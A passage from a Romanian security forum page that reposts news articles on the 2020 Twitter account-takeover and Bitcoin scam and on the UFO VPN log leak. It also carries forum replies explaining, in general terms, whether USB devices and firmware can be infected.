the West Coast and was in his 20s. “ever so anxious” said he was 19 and lived in the south of England with his mother. Investigators looking into the attacks said several of the details given by the hackers lined up with what they have learned so far, including Kirk’s involvement both in the big hacks later in the day and the lower-profile attacks early on Wednesday. The Times was initially put in touch with the hackers by a security researcher in California, Haseeb Awan, who was communicating with them because, he said, a number of them had previously targeted him and a Bitcoin-related company he once owned. They also unsuccessfully targeted his current company, Efani, a secure phone provider. The user known as Kirk did not have much of a reputation in hacker circles before Wednesday. His profile on Discord had been created only on July 7. But “lol” and “ever so anxious” were well known on the website OGusers.com, where hackers have met for years to buy and sell valuable social media screen names, security experts said. For online gamers, Twitter users and hackers, so-called O.G. user names — usually a short word or even a number — are hotly desired. These eye-catching handles are often snapped up by early adopters of a new online platform, the “original gangsters” of a fresh app. Users who arrive on the platform later often crave the credibility of an O.G. user name, and will pay thousands of dollars to hackers who steal them from their original owners. Image A conversation between “ever so anxious” and Kirk regarding Twitter accounts for sale. A cryptocurrency account address has been redacted from the screenshot. Kirk connected with “lol” late Tuesday and then “ever so anxious” on Discord early on Wednesday, and asked if they wanted to be his middlemen, selling Twitter accounts to the online underworld where they were known. They would take a cut from each transaction. In one of the first transactions, “lol” brokered a deal for someone who was willing to pay $1,500, in Bitcoin, for the Twitter user name @y. The money went to the same Bitcoin wallet that Kirk used later in the day when he got payments from hacking the Twitter accounts of celebrities, the public ledger of Bitcoin transactions shows. The group posted an ad on OGusers.com, offering Twitter handles in exchange for Bitcoin. “ever so anxious” took the screen name @anxious, which he had long coveted. (His personalized details still sit atop the suspended account.) “i just kinda found it cool having a username that other people would want,” “ever so anxious” said in a chat with The Times. As the morning went on, customers poured in and the prices that Kirk demanded went up. He also demonstrated how much access he had to Twitter’s systems. He was able to quickly change the most fundamental security settings on any user name and sent out pictures of Twitter’s internal dashboards as proof that he had taken control of the requested accounts. The group handed over @dark, @w, @l, @50 and @vague, among many others. Image A screenshot, sent out by Kirk after he gave a customer access to an account, showing Twitter’s back end for the @R9 account. One of their customers was another well-known figure among hackers dealing in user names — a young man known as “PlugWalkJoe.” On Thursday, PlugWalkJoe was the subject of an article by the security journalist Brian Krebs, who identified the hacker as a key player in the Twitter intrusion. Discord logs show that while PlugWalkJoe acquired the Twitter account @6 through “ever so anxious,” and briefly personalized it, he was not otherwise involved in the conversation. PlugWalkJoe, who said his real name is Joseph O’Connor, added in an interview with The Times that he had been getting a massage near his current home in Spain as the events occurred. “I don’t care,” said Mr. O’Connor, who said he was 21 and British. “They can come arrest me. I would laugh at them. I haven’t done anything.” Mr. O'Connor said other hackers had informed him that Kirk got access to the Twitter credentials when he found a way into Twitter’s internal Slack messaging channel and saw them posted there, along with a service that gave him access to the company’s servers. People investigating the case said that was consistent with what they had learned so far. A Twitter spokesman declined to comment, citing the active investigation. All of the transactions involving “lol” and “ever so anxious” took place before the world knew what was going on. But shortly before 3:30 p.m., tweets from the biggest cryptocurrency companies, like Coinbase, started asking for Bitcoin donations to the site cryptoforhealth.com. “we just hit cb,” an abbreviation for Coinbase, Kirk wrote to “lol” on Discord a minute after taking over the company’s Twitter account. The public ledger of Bitcoin transactions shows that the Bitcoin wallet that paid to set up cryptoforhealth.com was the wallet that Kirk had been using all morning, according to three investigators, who said they could not speak on the record because of the open investigation. In several messages on Wednesday morning, “ever so anxious” talked about his need to get some sleep, given that it was later in the day in England. Shortly before the big hacks began, he sent a phone message to his girlfriend saying, “nap time nap time,” and he disappeared from the Discord logs. Kirk quickly escalated his efforts, posting a message from accounts belonging to celebrities like Kanye West and tech titans like Jeff Bezos: Send Bitcoin to a specific account and your money would be sent back, doubled. Shortly after 6 p.m., Twitter seemed to catch up with the attacker, and the messages stopped. But the company had to turn off access for broad swaths of users, and days later, the company was still piecing together what had happened. Twitter said in a blog post that the attackers had targeted 130 accounts, gaining access and tweeting from 45 of that set. They were able to download data from eight of the accounts, the company added. “We’re acutely aware of our responsibilities to the people who use our service and to society more generally,” the blog post read. “We’re embarrassed, we’re disappointed, and more than anything, we’re sorry.” When “ever so anxious” woke up just after 2:30 a.m. in Britain, he looked online, saw what had happened and sent a disappointed message to his fellow middleman, “lol.” “i’m not sad more just annoyed. i mean he only made 20 btc,” he said, referring to Kirk’s Bitcoin profits from the scam, which translated to about $180,000. Kirk, whoever he was, had stopped responding to his middlemen and had disappeared. Correction: July 17, 2020 An earlier version of this article misstated the age of a hacker whose screen name was "ever so anxious." The hacker is 19, not 21. Nathaniel Popper covers finance and technology. He is the author of “Digital Gold: Bitcoin and the Inside Story of the Misfits and Millionaires Trying to Reinvent Money.” He previously worked at The Los Angeles Times and The Forward. @nathanielpopper • Facebook Kate Conger is a technology reporter in San Francisco, covering privacy, policy and labor. Previously, she wrote about cybersecurity for Gizmodo and TechCrunch. @kateconger Sursa: https://www.nytimes.com/2020/07/17/technology/twitter-hackers-interview.html
-
Poate un virus sa modifice structura unui dispozitv prin USB?
Nytro replied to grandson's topic in Discutii incepatori
@yoyois In teorie se poate ca un driver care se instaleaza automat cand introduci un device intr-un port (e.g. USB) sa infecteze OS-ul, in practica, cel putin pe Windows x64, e necesar ca driver-ul sa fie semnat de catre Microsoft WHQL (daca e modificat, semnatura nu mai e valida). Nu conteaza ca driver-ul e vulnerabil, conteaza ca OS-ul sa fie. Cand driver-ul e vulnerabil un proces user-mode poate face privilege escalation in ring 0 (rin 1 si 2 nu sunt folosite de catre OS-urile moderne). Asadar nu se poate instala un driver modificat (Windows x64). Pe Linux nu stiu daca exista ceva de genul, dar cred ca Linux sta mai bine la capitolul drivere by-default in kernel. @tjt Foarte probabil acel OS sau driverele sale au un bug in functionalitate de parsare a sistemului de fisiere. In anumite conditii acest lucru poate fi exploatabil, dar cred ca e destul de dificil, mai ales cu protectiile disponibile in sistemele de operare moderne. Dar cu siguranta se poate intampla ce ai mentionat. De fapt, am patit ceva asemanator la o firma unde am lucrat, OS Embedded (Linux) cu JFFS2 ca filesystem. La anumite fisiere mai mari, cand nu mai era prea mult spatiu disponibil crapa. Cred ca bug-ul respectiv se putea reproduce printr-un device extern. -
VPN firm that claims zero logs policy leaks 20 million user logs JULY 16TH, 2020 SUDAIS ASIF by Sudais Asif on July 16th, 2020 The VPN company in the discussion is a Hong Kong-based UFO VPN owned by Dreamfii HK Limited. Perhaps, the most ironic moments in the cybersecurity world occur when those who promise to protect your online privacy cannot guard their own turf. We’ve seen this happen from time to time with security firms getting hacked themselves. Another similar case has emerged recently when the database of a Hong Kong-based VPN provider called UFO VPN was exposed with more than 20 million users logs. Discovered by researchers from Comparitech on July 1st, 2020; the exposure occurred due to the database hosted on an Elasticsearch cluster being left without any password. See: PureVPN claimed it does not keep logs, yet it provided user logs to the FBI Worth 894 GB, the data allegedly included plaintext passwords, IP addresses, timestamps of user connections, session tokens, information of the device, and OS being used along with geographical information in the form of tags. The implications of this are pretty dangerous in that not only user accounts are at risk of being taken over by malicious actors but users can also be tracked online. Furthermore, using the session tokens, any encrypted data that someone gains access to could also be decrypted rendering the entire concept of encryption useless in this scenario. This, as Comparitech has rightly pointed out, goes against the service provider’s privacy policy and the promises of a zero log policy it has communicated to its users: UFO VPN does not collect, monitor, or log any traffic or use of its Virtual Private Network service, under any circumstances, on any platform. See: Israeli firm buys Private Internet Access (PIA) VPN raising privacy concerns The incident was reported to UFO VPN and the database was secured yesterday on 15 July. The company, on the other hand, claims that due to the certain employee being changed because of the Coronavirus, the issue could not be identified earlier stating the following: In this server, all the collected information is anonymous and only be used for analyzing the user’s network performance & problems to improve service quality. So far, no information has been leaked. This though of course if what the company seems to be saying to mitigate the damage to its reputation with the facts clearly suggesting otherwise. For the future, hence, it remains to see if the firm improves its security practices and how many users jump ship. Users of the provider are suggested to immediately change their account passwords as they may be at risk. Did you enjoy reading this article? Do like our page on Facebook and follow us on Twitter. Sursa; https://www.hackread.com/vpn-firm-zero-logs-policy-leaks-20-million-user-logs/
-
- 1
-
-
Poate un virus sa modifice structura unui dispozitv prin USB?
Nytro replied to grandson's topic in Discutii incepatori
Salut, intrebarea suna ciudat dar are sens. Tastatura sau alte device-uri vin cu propriul microcontroller care ruleaza cod. In principiu nu se poate face nimic, dar teoretic, daca ar fi un dispozitiv indeajuns de avansat si ar avea o procedura de update de firmare s-ar putea ajunge la asa ceva. Daca ar avea, de asemenea, ar trebui sa verifice integritatea firmware-ului la care se face update/upgrade pe baza unei semnaturi digitale. Se cunoaste faptul ca in sistemele de operare moderne (datorita arhitecturii procesoarelor) exista o separare de privilegii la nivel de "ring" unde ring0 = Kernel mode, sistemul de operare care are acces la toate resursele iar ring3 = usermode care e mult mai limitat. Dar se poate vede si altfel aceasta problema daca intram mai in adancime in problema: Cu alte cuvinte, exista de exemplu chiar si in procesor in firmware care permite executia codului assembler (in machine code) pe care il cunoastem. Se poate face update la el asa cum s-a intamplat cand au aparut vulnerabilitati in procesoare gen Specter sau Meltdown cand pentru fix a fost necesar update de microcode (firmware de procesor). Exact acelasi lucru se poate intampla si cu alte device-uri. De exemplu placi video. Sau BIOS. Sau mai stiu eu ce. Si ca sa rezum problema, daca un device e indeajuns de avansat incat sa aiba (doar ca exemplu) functionalitati gen firmware update, in teorie (si in practica daca e vulnerabil la asa ceva si nu verifica aceste firmware updates) se poate infecta si cand ajunge pe un alt device sa fie in continuare infectat. De asemenea, un antivirus de exemplu nu are ce sa faca. PS: Asta nu inseamna ca acel device infectat va putea lua controlul asupra calculatorului la care e conectat ulterior. Sistemul de operare prin functionalitati gen Plug & Play si standarde gen PCI Express, USB sau altele, permit doar un numar de actiuni si nu sa faca ceea ce doresc. Acel device infectat va fi limitat la device-ul in sine, nu s-ar putea existinde la alte device-uri sau la sistemul de operare (decat desigur, daca exista probleme de securitate in OS). Sper ca ajuta.